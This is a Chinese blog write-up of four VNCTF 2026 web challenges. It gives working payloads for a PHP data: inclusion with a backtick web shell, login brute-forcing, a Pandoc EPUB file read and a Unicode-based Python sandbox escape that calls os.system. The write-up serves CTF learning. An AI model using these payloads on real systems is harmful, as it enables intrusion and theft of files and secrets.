跳到主要内容
极客日志极客日志
首页博客AI提示词GitHub精选代理工具
搜索
|注册
博客列表
PythonAI算法

VNCTF 2026 Web 部分题目解题思路

综述由AI生成记录了 VNCTF 2026 Web 赛道的四道题目解题过程。第一题通过 Data 协议文件包含及短标签绕过实现代码执行;第二题针对加密登录参数使用 Python 脚本模拟爆破;第三题利用 Pandoc 的 EPUB 资源抓取机制读取 Flag;第四题为 Python 沙箱逃逸,通过特殊 Unicode 字符绕过过滤并遍历类属性获取环境变量中的 Flag。

深海蔚蓝发布于 2026/4/5更新于 2026/5/521 浏览

Signin

审视源码发现过滤了 ['/', 'convert', 'base', 'text', 'plain']。

由 GET 参数 file 进行文件包含(当 file 长度小于等于 20 时)。

可以使用 data 协议进行文件上传包含,但 // 被 ban,所以可以用短符号简写绕过:data;,。由于 include 具有解析上传文件的特性,能把上传的文件当作 php 代码识别,故可以构造 payload:

?file=data:,<?phpinfo();?>

phpinfo 显示 short_open_tag=On,所以可以用短标签减少字数。

随后构建一句话木马。原本是 <?=eval($_GET[x]); 这样的,但是长度超 20 了。

查阅资料得知反引号是 shell_exec() 的语法糖,即 `$$_GET[0]` === shell_exec($_GET[0])。

(题目不支持 POST 传参)

最终 payload:

?file=data:,<?=`${$_GET[x]}`;&x=cat /flag

得到 flag。

文章配图

渗透测试

题目是一个登录框,给了一个密码附件,需要爆破密码,一共两万个密码。

Burp suite 抓包发现上传的参数被加密了,直接 intruder 爆破不现实,因此编写 Python 脚本模拟键盘输入逐个爆破密码,用户名为 admin。

经多机并行运行获取密码为:5V26s9dBZQVBZgyyVC00baeW。

文章配图

Markdown2world

尝试上传其他后缀文件,提示只能上传 .md 或 .markdown 后缀的文件,于是只能在 Pandoc 机制、转换机制和不同类型文件的特性中研究。

题目提示了相关配置。

查阅资料发现可尝试 Template 模板注入,构造 payload:

---
template: /flag
---
xxxxxxxxx

上传后被拦截,template 和 reference-doc 被过滤,pdf 文件无法上传。只能尝试通过资源文件引用 + EPUB 打包机制进行任意文件读取,或通过文件名注入命令。

首先查看上传后文件名会被重新修改,上传 无效。

<?phpinfo();?>.md

利用 Pandoc 的特性:Pandoc 生成 EPUB 时有一个特性叫 "Resource Fetching"(资源抓取),只要通过构造特殊的资源抓取语句来改变 EPUB 抓取的资源的路径即可达到类似于'文件包含'的效果,将 flag 打包下载下来。

Payload(可多设几条路径提高拿到 flag 的概率):

---
resource-path: ["/", "/tmp", "/home/ctf", "."]
---
![flag](/flag)

下载下来后可以改后缀为 .zip 来解压。

在解压包中拿到 flag:

文章配图

文章配图

原本想试试 docx 和 html 的漏洞,但试了几个常见的 payload 发现没那么简单。

I really really really

题目考察的是 Python 沙箱逃逸。

先进行简单的 fuzz 测试,发现常规的 ' " [ ] { } __ ; 和数字 0-9 都被过滤了,hint 提及 unicode,于是搜寻这些字符有关的 unicode 编码其他格式。

发现单引号:ʼ (U+02BC) 修饰符右单引号没被过滤。

发现 _ 没被过滤。

想着引入模块去做,结果发现几乎全部的模块都被删了。

首先解决 __ 的问题,fuzz 测试了多种组合:_̲, ﹍﹎, ﹏﹍, ⁔﹍, ﹋﹌ 等。

最后发现只有 _̲ 和 ﹎_ 没被过滤,_̲ 系统自动识别成了普通字符。

文章配图

文章配图

随后是关键字的问题,本来想着用 ʼ claʼ +ʼss ʼ 的方法绕过的,但是失败了,后来看到题目的字体后才发觉可以试试数学花体字母 𝓬𝓵𝓪𝓼𝓼,于是就成功了。

等基本的完工后就运用一点 SSTI 的知识读取 flag,但始终返回空白。

经排查发现在环境变量里也有 flag,找到另一条生路。

鉴于单行字符不能超过 30,采用拼接的方式串联起 payload:

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
    except:pass

随后通过报错触发 AssertionError: <r 的内容>,错误信息一定会显示在网页回显中,读取 environ 字典。

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
        e=g.get(k).environ
        r=e
    except:pass
assert ...!=...,r

回显如下:

文章配图

跟 AI 探讨后发现原来不是模块被删了,而是放到别的模块去了,所以只能利用一个 try/except 循环遍历 __init__.__globals__ 找到包含 os 模块的 globals。

最后生成的 payload 如下:

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
        for k in g:
            try:
                e=g.get(k).environ
                r=e
            except:pass
    except:pass
assert ...!=...,r

在环境变量中找到 flag。

原本想把 flag 导入到同目录的文件中:

a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
    try:
        g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
        h=g.get(ʼosʼ)
        h.system(ʼcat /flag>/tmp/aʼ)
    except:
        pass
assert ...!=...,r

但是代码太长了,导致不能实现。

目录

  1. Signin
  2. 渗透测试
  3. Markdown2world
  4. I really really really
  • 💰 8折买阿里云服务器限时8折了解详情
  • GPT-5.5 超高智商模型1元抵1刀ChatGPT中转购买
  • 代充Chatgpt Plus/pro 帐号了解详情
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 量化交易实战:基于 Quantitative-Notebooks 的配对交易策略
  • YT-DLP Web Player 开源在线视频播放器部署指南
  • Docker 拉取镜像超时解决方案:配置镜像加速器及隐藏设置
  • Ubuntu 20.04 手动安装 Ollama 指南
  • Whisper-large-v3 语音识别工具:短视频配音与多语字幕同步方案
  • VS Code + GitHub Copilot 实战指南:从配置到高效协作
  • 基于 GLM-4.6V-Flash-WEB 的在线教育题库图像题目提取方案
  • 大模型学习路线:从新手到专家的完整路径
  • CentOS 搭建私人漫画库:Teemii + cpolar 公网访问
  • Google Stitch 工具简介、安装使用与案例应用指南
  • Python 使用 Folium 实现高德地图热力图可视化
  • LangBot 企业级即时通讯 AI 机器人平台介绍
  • 前端代码质量保证最佳实践
  • Python 三角洲行动:战术小队模拟器
  • 医疗 AI 新范式:数理模型与临床部署的现实困境
  • 国产多模态大模型 InternLM-XComposer 2.5 升级,原生支持 24K 图文上下文
  • 使用 CSS 实现毛玻璃模糊背景效果
  • 基于 ESP32 的无人机飞控日志 SD NAND 存储方案
  • JavaScript Promise 对象核心原理与用法
  • VSCode 集成 GitHub Copilot 开发体验优化

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • RSA密钥对生成器

    生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online

  • Mermaid 预览与可视化编辑

    基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online

  • 随机西班牙地址生成器

    随机生成西班牙地址(支持马德里、加泰罗尼亚、安达卢西亚、瓦伦西亚筛选),支持数量快捷选择、显示全部与下载。 在线工具,随机西班牙地址生成器在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online